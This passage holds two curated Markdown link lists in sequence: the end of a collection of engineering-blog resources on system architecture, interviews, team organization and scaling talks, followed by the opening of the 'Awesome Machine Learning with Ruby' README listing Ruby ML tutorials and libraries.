* [Similarity Engine at eBay](https://tech.ebayinc.com/engineering/ebays-blazingly-fast-billion-scale-vector-similarity-engine/)
## Architecture
* [Tech Stack at Medium](https://medium.engineering/the-stack-that-helped-medium-drive-2-6-millennia-of-reading-time-e56801f7c492)
* [Tech Stack at Shopify](https://engineering.shopify.com/blogs/engineering/e-commerce-at-scale-inside-shopifys-tech-stack)
* [Building Services (4 parts) at Airbnb](https://medium.com/airbnb-engineering/building-services-at-airbnb-part-4-23c95e428064)
* [Architecture of Evernote](https://evernote.com/blog/a-digest-of-evernotes-architecture/)
* [Architecture of Chat Service (3 parts) at Riot Games](https://engineering.riotgames.com/news/chat-service-architecture-persistence)
* [Architecture of League of Legends Client Update](https://technology.riotgames.com/news/architecture-league-client-update)
* [Architecture of Ad Platform at Twitter](https://blog.twitter.com/engineering/en_us/topics/infrastructure/2020/building-twitters-ad-platform-architecture-for-the-future.html)
* [Architecture of API Gateway at Uber](https://eng.uber.com/architecture-api-gateway/)
* [Architecture of API Gateway at Tinder](https://medium.com/tinder/how-we-built-the-tinder-api-gateway-831c6ca5ceca)
* [Basic Architecture of Slack](https://slack.engineering/how-slack-built-shared-channels-8d42c895b19f)
* [Lightweight Distributed Architecture to Handle Thousands of Library Releases at eBay](https://tech.ebayinc.com/engineering/a-lightweight-distributed-architecture-to-handle-thousands-of-library-releases-at-ebay/)
* [Back-end at LinkedIn](https://engineering.linkedin.com/architecture/brief-history-scaling-linkedin)
* [Back-end at Flickr](https://yahooeng.tumblr.com/post/157200523046/introducing-tripod-flickrs-backend-refactored)
* [Infrastructure (3 parts) at Zendesk](https://medium.com/zendesk-engineering/the-history-of-infrastructure-at-zendesk-part-3-foundation-team-forming-and-evolving-9859e40f5390)
* [Cloud Infrastructure at Grubhub](https://bytes.grubhub.com/cloud-infrastructure-at-grubhub-94db998a898a)
* [Real-time Presence Platform at LinkedIn](https://engineering.linkedin.com/blog/2018/01/now-you-see-me--now-you-dont--linkedins-real-time-presence-platf)
* [Settings Platform at LinkedIn](https://engineering.linkedin.com/blog/2019/05/building-member-trust-through-a-centralized-and-scalable-setting)
* [Nearline System for Scale and Performance (2 parts) at Glassdoor](https://medium.com/glassdoor-engineering/building-a-nearline-system-for-scale-and-performance-part-ii-9e01bf51b23d)
* [Real-time User Action Counting System for Ads at Pinterest](https://medium.com/@Pinterest_Engineering/building-a-real-time-user-action-counting-system-for-ads-88a60d9c9a)
* [API Platform at Riot Games](https://engineering.riotgames.com/news/riot-games-api-deep-dive)
* [Games Platform at The New York Times](https://open.nytimes.com/play-by-play-moving-the-nyt-games-platform-to-gcp-with-zero-downtime-cf425898d569)
* [Kabootar: Communication Platform at Swiggy](https://bytes.swiggy.com/kabootar-swiggys-communication-platform-e5a43cc25629)
* [Simone: Distributed Simulation Service at Netflix](https://medium.com/netflix-techblog/https-medium-com-netflix-techblog-simone-a-distributed-simulation-service-b2c85131ca1b)
* [Seagull: Distributed System that Helps Running > 20 Million Tests Per Day at Yelp](https://engineeringblog.yelp.com/2017/04/how-yelp-runs-millions-of-tests-every-day.html)
* [PriceAggregator: Intelligent System for Hotel Price Fetching (3 parts) at Agoda](https://medium.com/agoda-engineering/priceaggregator-an-intelligent-system-for-hotel-price-fetching-part-3-52acfc705081)
* [Phoenix: Testing Platform (3 parts) at Tinder](https://medium.com/tinder-engineering/phoenix-tinders-testing-platform-part-iii-520728b9537)
* [Hexagonal Architecture at Netflix](https://netflixtechblog.com/ready-for-changes-with-hexagonal-architecture-b315ec967749)
* [Architecture of Sticker Services at LINE](https://www.slideshare.net/linecorp/architecture-sustaining-line-sticker-services)
* [Stack Overflow Enterprise at Palantir](https://medium.com/@palantir/terraforming-stack-overflow-enterprise-in-aws-47ee431e6be7)
* [Architecture of Following Feed, Interest Feed, and Picked For You at Pinterest](https://medium.com/@Pinterest_Engineering/building-a-dynamic-and-responsive-pinterest-7d410e99f0a9)
* [API Specification Workflow at WeWork](https://engineering.wework.com/our-api-specification-workflow-9337448d6ee6)
* [Media Database at Netflix](https://medium.com/netflix-techblog/implementing-the-netflix-media-database-53b5a840b42a)
* [Member Transaction History Architecture at Walmart](https://medium.com/walmartlabs/member-transaction-history-architecture-8b6e34b87c21)
* [Sync Engine (2 parts) at Dropbox](https://dropbox.tech/infrastructure/-testing-our-new-sync-engine)
* [Ads Pacing Service at Twitter](https://blog.twitter.com/engineering/en_us/topics/infrastructure/2021/how-we-built-twitter-s-highly-reliable-ads-pacing-service)
* [Rapid Event Notification System at Netflix](https://netflixtechblog.com/rapid-event-notification-system-at-netflix-6deb1d2b57d1)
* [Architectures of Finance, Banking, and Payment Systems](https://www.sesameindia.com/images/core-banking-system-architecture)
* [Bank Backend at Monzo](https://monzo.com/blog/2016/09/19/building-a-modern-bank-backend/)
* [Trading Platform for Scale at Wealthsimple](https://medium.com/@Wealthsimple/engineering-at-wealthsimple-reinventing-our-trading-platform-for-scale-17e332241b6c)
* [Core Banking System at Margo Bank](https://medium.com/margobank/choosing-an-architecture-85750e1e5a03)
* [Architecture of Nubank](https://www.infoq.com/presentations/nubank-architecture)
* [Tech Stack at TransferWise](http://tech.transferwise.com/the-transferwise-stack-heartbeat-of-our-little-revolution/)
* [Tech Stack at Addepar](https://medium.com/build-addepar/our-tech-stack-a4f55dab4b0d)
* [Avoiding Double Payments in a Distributed Payments System at Airbnb](https://medium.com/airbnb-engineering/avoiding-double-payments-in-a-distributed-payments-system-2981f6b070bb)
* [Scaling Payments (3 parts) at Etsy](https://www.etsy.com/sg-en/codeascraft/scaling-etsy-payments-with-vitess-part-3--reducing-cutover-risk)
## Interview
* [Designing Large-Scale Systems](https://www.somethingsimilar.com/2013/01/14/notes-on-distributed-systems-for-young-bloods/)
* [My Scaling Hero - Jeff Atwood (a dose of Endorphins before your interview, JK)](https://blog.codinghorror.com/my-scaling-hero/)
* [Software Engineering Advice from Building Large-Scale Distributed Systems - Jeff Dean](https://static.googleusercontent.com/media/research.google.com/en//people/jeff/stanford-295-talk.pdf)
* [Introduction to Architecting Systems for Scale](https://lethain.com/introduction-to-architecting-systems-for-scale/)
* [Anatomy of a System Design Interview](https://hackernoon.com/anatomy-of-a-system-design-interview-4cb57d75a53f)
* [8 Things You Need to Know Before a System Design Interview](http://blog.gainlo.co/index.php/2015/10/22/8-things-you-need-to-know-before-system-design-interviews/)
* [Top 10 System Design Interview Questions ](https://hackernoon.com/top-10-system-design-interview-questions-for-software-engineers-8561290f0444)
* [Top 10 Common Large-Scale Software Architectural Patterns in a Nutshell](https://towardsdatascience.com/10-common-software-architectural-patterns-in-a-nutshell-a0b47a1e9013)
* [Cloud Big Data Design Patterns - Lynn Langit](https://lynnlangit.com/2017/03/14/beyond-relational/)
* [How NOT to design Netflix in your 45-minute System Design Interview?](https://hackernoon.com/how-not-to-design-netflix-in-your-45-minute-system-design-interview-64953391a054)
* [API Best Practices: Webhooks, Deprecation, and Design](https://zapier.com/engineering/api-best-practices/)
* [Explaining Low-Level Systems (OS, Network/Protocol, Database, Storage)](https://www.cse.wustl.edu/~jain/cse567-06/ftp/os_monitors/index.html)
* [The Precise Meaning of I/O Wait Time in Linux](http://veithen.github.io/2013/11/18/iowait-linux.html)
* [Paxos Made Live – An Engineering Perspective](https://research.google.com/archive/paxos_made_live.html)
* [How to do Distributed Locking](https://martin.kleppmann.com/2016/02/08/how-to-do-distributed-locking.html)
* [SQL Transaction Isolation Levels Explained](http://elliot.land/post/sql-transaction-isolation-levels-explained)
* ["What Happens When... and How" Questions](https://www.glassdoor.com/Interview/What-happens-when-you-type-www-google-com-in-your-browser-QTN_56396.htm)
* [Netflix: What Happens When You Press Play?](http://highscalability.com/blog/2017/12/11/netflix-what-happens-when-you-press-play.html)
* [Monzo: How Peer-To-Peer Payments Work](https://monzo.com/blog/2018/04/05/how-monzo-to-monzo-payments-work/)
* [Transit and Peering: How Your Requests Reach GitHub](https://githubengineering.com/transit-and-peering-how-your-requests-reach-github/)
* [How Spotify Streams Music](https://labs.spotify.com/2018/08/31/smoother-streaming-with-bbr/)
## Organization
* [Engineering Levels at SoundCloud](https://developers.soundcloud.com/blog/engineering-levels)
* [Engineering Roles at Palantir](https://medium.com/palantir/dev-versus-delta-demystifying-engineering-roles-at-palantir-ad44c2a6e87)
* [Engineering Career Framework at Dropbox](https://dropbox.tech/culture/our-updated-engineering-career-framework)
* [Scaling Engineering Teams at Twitter](https://www.youtube.com/watch?v=-PXi_7Ld5kU)
* [Scaling Decision-Making Across Teams at LinkedIn](https://engineering.linkedin.com/blog/2018/03/scaling-decision-making-across-teams-within-linkedin-engineering)
* [Scaling Data Science Team at GOJEK](https://blog.gojekengineering.com/the-dynamics-of-scaling-an-organisation-cb96dbe8aecd)
* [Scaling Agile at Zalando](https://jobs.zalando.com/tech/blog/scaling-agile-zalando/?gh_src=4n3gxh1)
* [Scaling Agile at bol.com](https://hackernoon.com/how-we-run-bol-com-with-60-autonomous-teams-fe7a98c0759)
* [Lessons Learned from Scaling a Product Team at Intercom](https://blog.intercom.com/how-we-build-software/)
* [Hiring, Managing, and Scaling Engineering Teams at Typeform](https://medium.com/@eleonorazucconi/toby-oliver-cto-typeform-on-hiring-managing-and-scaling-engineering-teams-86bef9e5a708)
* [Scaling the Datagram Team at Instagram](https://instagram-engineering.com/scaling-the-datagram-team-fc67bcf9b721)
* [Scaling the Design Team at Flexport](https://medium.com/flexport-design/designing-a-design-team-a9a066bc48a5)
* [Team Model for Scaling a Design System at Salesforce](https://medium.com/salesforce-ux/the-salesforce-team-model-for-scaling-a-design-system-d89c2a2d404b)
* [Building Analytics Team (4 parts) at Wish](https://medium.com/wish-engineering/scaling-the-analytics-team-at-wish-part-4-recruiting-2a9823b9f5a)
* [From 2 Founders to 1000 Employees at Transferwise](https://medium.com/transferwise-ideas/from-2-founders-to-1000-employees-how-a-small-scale-startup-grew-into-a-global-community-9f26371a551b)
* [Lessons Learned Growing a UX Team from 10 to 170 at Adobe](https://medium.com/thinking-design/lessons-learned-growing-a-ux-team-from-10-to-170-f7b47be02262)
* [Five Lessons from Scaling at Pinterest](https://medium.com/@sarahtavel/five-lessons-from-scaling-pinterest-6a699a889b08)
* [Approach Engineering at Vinted](http://engineering.vinted.com/2018/09/04/how-we-approach-engineering-at-vinted/)
* [Using Metrics to Improve the Development Process (and Coach People) at Indeed](https://engineering.indeedblog.com/blog/2018/10/using-metrics-to-improve-the-development-process-and-coach-people/)
* [Mistakes to Avoid while Creating an Internal Product at Skyscanner](https://medium.com/@SkyscannerEng/9-mistakes-to-avoid-while-creating-an-internal-product-63d579b00b1a)
* [RACI (Responsible, Accountable, Consulted, Informed) at Etsy](https://codeascraft.com/2018/01/04/selecting-a-cloud-provider/)
* [Four Pillars of Leading People (Empathy, Inspiration, Trust, Honesty) at Zalando](https://jobs.zalando.com/tech/blog/four-pillars-leadership/)
* [Pair Programming at Shopify](https://engineering.shopify.com/blogs/engineering/pair-programming-explained)
* [Distributed Responsibility at Asana](https://blog.asana.com/2017/12/distributed-responsibility-engineering-manager/)
* [Rotating Engineers at Zalando](https://jobs.zalando.com/tech/blog/rotating-engineers-at-zalando/)
* [Experiment Idea Review at Pinterest](https://medium.com/pinterest-engineering/how-pinterest-supercharged-its-growth-team-with-experiment-idea-review-fd6571a02fb8)
* [Tech Migrations at Spotify](https://engineering.atspotify.com/2020/06/25/tech-migrations-the-spotify-way/)
* [Improving Code Ownership at Yelp](https://engineeringblog.yelp.com/2021/01/whose-code-is-it-anyway.html)
* [Agile Code Base at eBay](https://tech.ebayinc.com/engineering/how-creating-an-agile-code-base-helped-ebay-pivot-for-apple-silicon/)
* [Agile Data Engineering at Miro](https://medium.com/miro-engineering/agile-data-engineering-at-miro-ec2dcc8a3fcb)
* [Automated Incident Management through Slack at Airbnb](https://medium.com/airbnb-engineering/incident-management-ae863dc5d47f)
* [Code Review](https://ai.google/research/pubs/pub47025)
* [Code Review at Palantir](https://medium.com/@palantir/code-review-best-practices-19e02780015f)
* [Code Review at LINE](https://engineering.linecorp.com/en/blog/effective-code-review/)
* [Code Reviews at Medium](https://medium.engineering/code-reviews-at-medium-bed2c0dce13a)
* [Code Review at LinkedIn](https://engineering.linkedin.com/blog/2018/06/scaling-collective-code-ownership-with-code-reviews)
* [Code Review at Disney](https://medium.com/disney-streaming/the-secret-to-better-code-reviews-c14c7884b9ac)
* [Code Review at Netlify](https://www.netlify.com/blog/2020/03/05/feedback-ladders-how-we-encode-code-reviews-at-netlify/)
## Talk
* [Distributed Systems in One Lesson - Tim Berglund, Senior Director of Developer Experience at Confluent](https://www.youtube.com/watch?v=Y6Ev8GIlbxc)
* [Building Real Time Infrastructure at Facebook - Jeff Barber and Shie Erlich, Software Engineer at Facebook](https://www.usenix.org/conference/srecon17americas/program/presentation/erlich)
* [Building Reliable Social Infrastructure for Google - Marc Alvidrez, Senior Manager at Google](https://www.usenix.org/conference/srecon16/program/presentation/alvidrez)
* [Building a Distributed Build System at Google Scale - Aysylu Greenberg, SDE at Google](https://www.youtube.com/watch?v=K8YuavUy6Qc)
* [Site Reliability Engineering at Dropbox - Tammy Butow, Site Reliability Engineering Manager at Dropbox](https://www.youtube.com/watch?v=ggizCjUCCqE)
* [How Google Does Planet-Scale for Planet-Scale Infra - Melissa Binde, SRE Director for Google Cloud Platform](https://www.youtube.com/watch?v=H4vMcD7zKM0)
* [Netflix Guide to Microservices - Josh Evans, Director of Operations Engineering at Netflix](https://www.youtube.com/watch?v=CZ3wIuvmHeM&t=2837s)
* [Achieving Rapid Response Times in Large Online Services - Jeff Dean, Google Senior Fellow](https://www.youtube.com/watch?v=1-3Ahy7Fxsc)
* [Architecture to Handle 80K RPS Celebrity Sales at Shopify - Simon Eskildsen, Engineering Lead at Shopify](https://www.youtube.com/watch?v=N8NWDHgWA28)
* [Lessons of Scale at Facebook - Bobby Johnson, Director of Engineering at Facebook](https://www.youtube.com/watch?v=QCHiNEw73AU)
* [Performance Optimization for the Greater China Region at Salesforce - Jeff Cheng, Enterprise Architect at Salesforce](https://www.salesforce.com/video/1757880/)
* [How GIPHY Delivers a GIF to 300 Millions Users - Alex Hoang and Nima Khoshini, Services Engineers at GIPHY](https://vimeo.com/252367076)
* [High Performance Packet Processing Platform at Alibaba - Haiyong Wang, Senior Director at Alibaba](https://www.youtube.com/watch?v=wzsxJqeVIhY&list=PLMu8-hpCxIVENuAue7bd0eCAglLGY_8AW&index=7)
* [Solving Large-scale Data Center and Cloud Interconnection Problems - Ihab Tarazi, CTO at Equinix](https://atscaleconference.com/videos/solving-large-scale-data-center-and-cloud-interconnection-problems/)
* [Scaling Dropbox - Kevin Modzelewski, Back-end Engineer at Dropbox](https://www.youtube.com/watch?v=PE4gwstWhmc)
* [Scaling Reliability at Dropbox - Sat Kriya Khalsa, SRE at Dropbox](https://www.youtube.com/watch?v=IhGWOaD5BYQ)
* [Scaling with Performance at Facebook - Bill Jia, VP of Infrastructure at Facebook](https://atscaleconference.com/videos/performance-scale-2018-opening-remarks/)
* [Scaling Live Videos to a Billion Users at Facebook - Sachin Kulkarni, Director of Engineering at Facebook](https://www.youtube.com/watch?v=IO4teCbHvZw)
* [Scaling Infrastructure at Instagram - Lisa Guo, Instagram Engineering](https://www.youtube.com/watch?v=hnpzNAPiC0E)
* [Scaling Infrastructure at Twitter - Yao Yue, Staff Software Engineer at Twitter](https://www.youtube.com/watch?v=6OvrFkLSoZ0)
* [Scaling Infrastructure at Etsy - Bethany Macri, Engineering Manager at Etsy](https://www.youtube.com/watch?v=LfqyhM1LeIU)
* [Scaling Real-time Infrastructure at Alibaba for Global Shopping Holiday - Xiaowei Jiang, Senior Director at Alibaba](https://atscaleconference.com/videos/scaling-alibabas-real-time-infrastructure-for-global-shopping-holiday/)
* [Scaling Data Infrastructure at Spotify - Matti (Lepistö) Pehrs, Spotify](https://www.youtube.com/watch?v=cdsfRXr9pJU)
* [Scaling Pinterest - Marty Weiner, Pinterest’s founding engineer](https://www.youtube.com/watch?v=jQNCuD_hxdQ&list=RDhnpzNAPiC0E&index=11)
* [Scaling Slack - Bing Wei, Software Engineer (Infrastructure) at Slack](https://www.infoq.com/presentations/slack-scalability)
* [Scaling Backend at Youtube - Sugu Sougoumarane, SDE at Youtube](https://www.youtube.com/watch?v=5yDO-tmIoXY&feature=youtu.be)
* [Scaling Backend at Uber - Matt Ranney, Chief Systems Architect at Uber](https://www.youtube.com/watch?v=nuiLcWE8sPA)
* [Scaling Global CDN at Netflix - Dave Temkin, Director of Global Networks at Netflix](https://www.youtube.com/watch?v=tbqcsHg-Q_o)
* [Scaling Load Balancing Infra to Support 1.3 Billion Users at Facebook - Patrick Shuff, Production Engineer at Facebook](https://www.youtube.com/watch?v=bxhYNfFeVF4)
* [Scaling (a NSFW site) to 200 Million Views A Day And Beyond - Eric Pickup, Lead Platform Developer at MindGeek](https://www.youtube.com/watch?v=RlkCdM_f3p4)
* [Scaling Counting Infrastructure at Quora - Chun-Ho Hung and Nikhil Gar, SEs at Quora](https://www.infoq.com/presentations/quora-analytics)
* [Scaling Git at Microsoft - Saeed Noursalehi, Principal Program Manager at Microsoft](https://www.youtube.com/watch?v=g_MPGU_m01s)
* [Scaling Multitenant Architecture Across Multiple Data Centres at Shopify - Weingarten, Engineering Lead at Shopify](https://www.youtube.com/watch?v=F-f0-k46WVk)
## Donation
Roses are red. Violets are blue. [Binh](https://nguyenquocbinh.org/) likes sweet. [Treat Binh a tiramisu?](https://paypal.me/binhnguyennus) :cake:
|
<img title="Awesome Machine Learning with Ruby" alt="Awesome Machine Learning with Ruby" src="header.png" align="center">
[](https://github.com/sindresorhus/awesome#readme) [](https://www.patreon.com/arbox)
[[RubyNLP](https://github.com/arbox/nlp-with-ruby) |
[RubyDataScience](https://github.com/arbox/data-science-with-ruby) |
[RubyInterop](https://github.com/arbox/ruby-interoperability)]
# Awesome Machine Learning with Ruby [<img src="ruby.jpg" align="left" width="30px" height="30px" />][ruby]
> Curated List of Ruby Machine Learning Links and Resources
[Machine Learning][ml] is a field of [Computational Science][cs] -
often nested under [AI][ai] research - with many practical
applications due to the ability of resulting algorithms to
systematically implement a specific solution without explicit
programmer's instructions. Obviously many algorithms need a definition
of [features][fe] to look at or a biggish [training set][ts] of data to derive the
solution from.
This curated list comprises [_awesome_][awesome] libraries,
data sources, tutorials and presentations about [Machine Learning][ml]
utilizing the [Ruby][ruby] programming language.
A lot of useful resources on this list come from the development by
[The Ruby Science Foundation][sciruby], our [contributors][contributors] and
our own day to day work on various ML applications.
:sparkles: Every [contribution](contributing.md) is welcome! Add links through pull
requests or create an issue to start a discussion.
Follow us on [Twitter](https://twitter.com/NonWebRuby) and please spread
the word using the `#RubyML` hash tag!
<!-- nodoc -->
## Contents
<!-- toc -->
- [:sparkles: Tutorials](#sparkles-tutorials)
- [Machine Learning Libraries](#machine-learning-libraries)
* [Frameworks](#frameworks)
* [Neural networks](#neural-networks)
* [Deep Learning](#deep-learning)
* [Kernel methods](#kernel-methods)
* [Evolutionary algorithms](#evolutionary-algorithms)
* [Bayesian methods](#bayesian-methods)
* [Decision trees](#decision-trees)
* [Clustering](#clustering)
* [Linear classifiers](#linear-classifiers)
* [Statistical models](#statistical-models)
* [Gradient boosting](#gradient-boosting)
* [Vector search](#vector-search)
- [Applications of machine learning](#applications-of-machine-learning)
- [Data structures](#data-structures)
- [Data visualization](#data-visualization)
- [Articles, Posts, Talks, and Presentations](#articles-posts-talks-and-presentations)
- [Projects and Code Examples](#projects-and-code-examples)
- [Heroku buildpacks](#heroku-buildpacks)
- [Books, Blogs, Channels](#books-blogs-channels)
- [Community](#community)
- [Related Resources](#related-resources)
- [License](#license)
<!-- tocstop -->
<!-- doc -->
## :sparkles: Tutorials
Please help us to fill out this section! :smiley:
- [Ruby neural networks](https://www.honeybadger.io/blog/ruby-neural-networks/)
- [How to implement linear regression in Ruby](https://www.practicalai.io/implementing-linear-regression-using-ruby/)
<sup>[[code](https://github.com/daugaard/example-linear-regression)]</sup>
- [How to implement classification using logistic regression in Ruby](https://www.practicalai.io/implementing-classification-using-logistic-regression-in-ruby/)
- [How to implement simple binary classification using a Neural Network in Ruby](https://www.practicalai.io/implementing-simple-classification-using-neural-network-in-ruby/)
<sup>[[code](https://github.com/daugaard/example-neural-network)]</sup>
- [How to implement classification using a SVM in Ruby](https://www.practicalai.io/implementing-classification-using-a-svm-in-ruby/)
<sup>[[code](https://github.com/daugaard/example-svm)]</sup>
- [Unsupervised learning using k-means clustering in Ruby](https://www.practicalai.io/unsupervised-learning-using-k-means-clustering-in-ruby/)
<sup>[[code](https://github.com/daugaard/example-kmeans-clustering)]</sup>
- [Teaching an AI to play a simple game using Q-Learning in Ruby](https://www.practicalai.io/teaching-ai-play-simple-game-using-q-learning/)
<sup>[[code](https://github.com/daugaard/q-learning-simple-game)]</sup>
- [Teaching a Neural Network to play a game using Q-Learning in Ruby](https://www.practicalai.io/teaching-a-neural-network-to-play-a-game-with-q-learning/)
<sup>[[code](https://github.com/daugaard/q-learning-simple-game/tree/neuralnetwork)]</sup>
- [Using the Python scikit-learn machine learning library in Ruby using PyCall](https://www.practicalai.io/using-scikit-learn-machine-learning-library-in-ruby-using-pycall/)
<sup>[[code](https://github.com/daugaard/scikit-learn-from-ruby)]</sup>
- [How to _evolve_ neural networks in Ruby using the Machine Learning Workbench](https://github.com/giuse/machine_learning_workbench/blob/master/examples/neuroevolution.rb)
## Machine Learning Libraries
[Machine Learning][ml] algorithms in pure Ruby or written in other
programming languages with appropriate bindings for Ruby.
### Frameworks
- [LangChain.rb](https://github.com/andreibondarev/langchainrb) -
Build ML/AI-supercharged applications with Ruby's LangChain.
- [weka](https://github.com/paulgoetze/weka-jruby) -
JRuby bindings for Weka, different ML algorithms implemented through Weka.
- [ai4r](https://github.com/SergioFierens/ai4r) -
Artificial Intelligence for Ruby.
- [classifier-reborn](https://github.com/jekyll/classifier-reborn) -
General classifier module to allow Bayesian and other types of classifications.
<sup>[[dep: GLS](#gls)]</sup>
- [scoruby](https://github.com/asafschers/scoruby) -
Ruby scoring API for [PMML](http://dmg.org/pmml/v4-3/GeneralStructure.html) (Predictive Model Markup Language).
- [rblearn](https://github.com/himkt/rblearn) - Feature Extraction and Crossvalidation library.
- [data_modeler](https://github.com/giuse/data_modeler) -
Model your data with machine learning. Ample test coverage, examples to start fast, complete documentation. Production ready since 1.0.0.
- [shogun](https://github.com/shogun-toolbox/shogun) - Polyfunctional and mature
machine learning toolbox with [Ruby bindings](https://github.com/shogun-toolbox/shogun/tree/develop/src/interfaces/ruby).
- [aws-sdk-machinelearning](https://github.com/aws/aws-sdk-ruby) -
Machine Learning API of the Amazon Web Services.
- [azure_mgmt_machine_learning](https://github.com/Azure/azure-sdk-for-ruby) -
Machine Learning API of the Microsoft Azure.
- [machine_learning_workbench](https://github.com/giuse/machine_learning_workbench) -
Growing machine learning framework written in pure Ruby, high performance computing using
[Numo](https://github.com/ruby-numo/), CUDA bindings through [Cumo](https://github.com/sonots/cumo).
Currently implementating neural networks, evolutionary strategies, vector quantization, and plenty of
examples and utilities.
- [Deep NeuroEvolution](https://github.com/giuse/DNE) -
Experimental setup based on the [machine_learning_workbench](https://github.com/giuse/machine_learning_workbench)
towards searching for deep neural networks (rather than training) using evolutionary algorithms. Applications to the
[OpenAI Gym](https://github.com/openai/gym) using [PyCall](https://github.com/mrkn/pycall.rb).
- [rumale](https://github.com/yoshoku/rumale) -
Machine Learninig toolkit in Ruby with wide range of implemented algorithms
(SVM, Logistic Regression, Linear Regression, Random Forest etc.) and
interfaces similar to [Scikit-Learn][scikit] in Python.
- [eps](https://github.com/ankane/eps) - Bayesian Classification and Linear Regression with exports
using [PMML](http://dmg.org/pmml/v4-3/GeneralStructure.html) and an alternative backend using [GSL][gsl].
### Neural networks
- [neural-net-ruby](https://github.com/gbuesing/neural-net-ruby) -
Neural network written in Ruby.
- [ruby-fann](https://github.com/tangledpath/ruby-fann) -
Ruby bindings to the [Fast Artificial Neural Network Library (FANN)](http://leenissen.dk/fann/wp/).
- [cerebrum](https://github.com/irfansharif/cerebrum) -
Experimental implementation for Artificial Neural Networks in Ruby.
- [tlearn-rb](https://github.com/josephwilk/tlearn-rb) -
Recurrent Neural Network library for Ruby.
- [brains](https://github.com/jedld/brains-jruby) -
Feed-forward neural networks for JRuby based on
[brains](https://github.com/jedld/brains).
- [machine_learning_workbench](https://github.com/giuse/machine_learning_workbench/tree/master/lib/machine_learning_workbench/neural_network) -
Framework including pure-Ruby implementation of both feed-forward and recurrent neural networks
(fully connected). Training available using neuroevolution (Natural Evolution Strategies algorithms).
- [rann](https://github.com/mikecmpbll/rann) -
Flexible Ruby ANN implementation with backprop (through-time, for recurrent
nets), gradient checking, adagrad, and parallel batch execution.
### Deep learning
- [tensor_stream](https://github.com/jedld/tensor_stream) -
Ground-up and standalone reimplementation of TensorFlow for Ruby.
- [red-chainer](https://github.com/red-data-tools/red-chainer) - Deep learning framework for Ruby.
- [tensorflow](https://github.com/somaticio/tensorflow.rb) - Ruby bindings for [TensorFlow](https://www.tensorflow.org/).
- [ruby-dnn](https://github.com/unagiootoro/ruby-dnn) - Simple deep learning for Ruby.
- [torch-rb](https://github.com/ankane/torch-rb) - Ruby bindings for [LibTorch](https://github.com/pytorch/pytorch)
using [rice](https://github.com/jasonroelofs/rice).
- [mxnet](https://github.com/mrkn/mxnet.rb) - Ruby bindings for [mxnet](https://mxnet.apache.org/).
### Kernel methods
- [rb-libsvm](https://github.com/febeling/rb-libsvm) -
Support Vector Machines with Ruby and the [LIBSVM](https://www.csie.ntu.edu.tw/~cjlin/libsvm/) library.
<sup>[[dep: bundled](#bundled)]</sup>
### Evolutionary algorithms
- [machine_learning_workbench](https://github.com/giuse/machine_learning_workbench/tree/master/lib/machine_learning_workbench/optimizer/natural_evolution_strategies) -
Framework including pure-Ruby implementations of Natural Evolution Strategy algorithms
(black-box optimization), specifically Exponential NES (XNES),
Separable NES (sNES), Block-Diagonal NES (BDNES) and more.
Applications include neural network search/training (neuroevolution).
- [simple_ga](https://github.com/giuse/simple_ga) -
Simplest Genetic Algorithms implementation in Ruby.
### Bayesian methods
- [linnaeus](https://github.com/djcp/linnaeus) -
Redis-backed Bayesian classifier.
- [naive_bayes](https://github.com/reddavis/Naive-Bayes) -
Simple Naive Bayes classifier.
- [nbayes](https://github.com/oasic/nbayes) -
Full-featured, Ruby implementation of Naive Bayes.
### Decision trees
- [decisiontree](https://github.com/igrigorik/decisiontree) -
Decision Tree ID3 Algorithm in pure Ruby.
<sup>[[dep: GraphViz](#graphviz) |
[post](https://www.igvita.com/2007/04/16/decision-tree-learning-in-ruby/)]</sup>.
### Clustering
- [kmeans-clusterer](https://github.com/gbuesing/kmeans-clusterer) -
k-means clustering in Ruby.
- [k_means](https://github.com/reddavis/K-Means) -
Attempting to build a fast, memory efficient K-Means program.
- [knn](https://github.com/reddavis/knn) -
Simple K Nearest Neighbour Algorithm.
### Linear classifiers
- [liblinear-ruby-swig](https://github.com/tomz/liblinear-ruby-swig) -
Ruby interface to LIBLINEAR (much more efficient than LIBSVM for text classification).
- [liblinear-ruby](https://github.com/kei500/liblinear-ruby) -
Ruby interface to LIBLINEAR using SWIG.
### Statistical models
- [rtimbl](https://github.com/maspwr/rtimbl) -
Memory based learners from the Timbl framework.
- [lda-ruby](https://github.com/ealdent/lda-ruby) -
Ruby implementation of the [LDA](https://en.wikipedia.org/wiki/Latent_Dirichlet_allocation)
(Latent Dirichlet Allocation) for automatic Topic Modelling and Document Clustering.
- [maxent_string_classifier](https://github.com/mccraigmccraig/maxent_string_classifier) -
JRuby maximum entropy classifier for string data, based on the OpenNLP Maxent framework.
- [omnicat](https://github.com/mustafaturan/omnicat) -
Generalized rack framework for text classifications.
- [omnicat-bayes](https://github.com/mustafaturan/omnicat-bayes) -
Naive Bayes text classification implementation as an OmniCat classifier strategy.
<sup>[[dep: bundled](#bundled)]</sup>
### Gradient boosting
- [xgboost](https://github.com/PairOnAir/xgboost-ruby) —
Ruby bindings for XGBoost.
<sup>[[dep: XGBoost](#xgboost)]</sup>
- [xgb](https://github.com/ankane/xgb) —
Ruby bindings for XGBoost.
<sup>[[dep: XGBoost](#xgboost)]</sup>
- [lightgbm](https://github.com/ankane/lightgbm) —
Ruby bindings for LightGBM.
<sup>[[dep: LightGBM](#lightgbm)]</sup>
### Vector search
- [flann](https://github.com/mariusmuja/flann) -
Ruby bindings for the [FLANN](https://github.com/flann-lib/flann) (Fast Library for Approximate Nearest Neighbors).
<sup>[[flann](#flann)]</sup>
- [annoy-rb](https://github.com/yoshoku/annoy.rb) -
Ruby bindings for the [Annoy](https://github.com/spotify/annoy) (Approximate Nearest Neighbors Oh Yeah).
- [hnswlib.rb](https://github.com/yoshoku/hnswlib.rb) -
Ruby bindings for the [Hnswlib](https://github.com/nmslib/hnswlib) that implements approximate nearest neighbor search with Hierarchical Navigable Small World graphs.
- [ngt-ruby](https://github.com/ankane/ngt-ruby) -
Ruby bindings for the [NGT](https://github.com/yahoojapan/NGT) (Neighborhood Graph and Tree for Indexing High-dimensional data).
- [milvus](https://github.com/andreibondarev/milvus) —
Ruby client for Milvus Vector DB.
- [pinecone](https://github.com/ScotterC/pinecone) —
Ruby client for Pinecone Vector DB.
- [qdrant-ruby](https://github.com/andreibondarev/qdrant-ruby) —
Ruby wrapper for the Qdrant vector search database API.
- [weaviate-ruby](https://github.com/andreibondarev/weaviate-ruby) —
Ruby wrapper for the Weaviate vector search database API.
## Applications of machine learning
- [phashion](https://github.com/westonplatter/phashion) -
Ruby wrapper around pHash, the perceptual hash library for detecting duplicate multimedia files.
<sup>[[ImageMagick](#imagemagick) | [libjpeg](#libjpeg)]</sup>
## Data structures
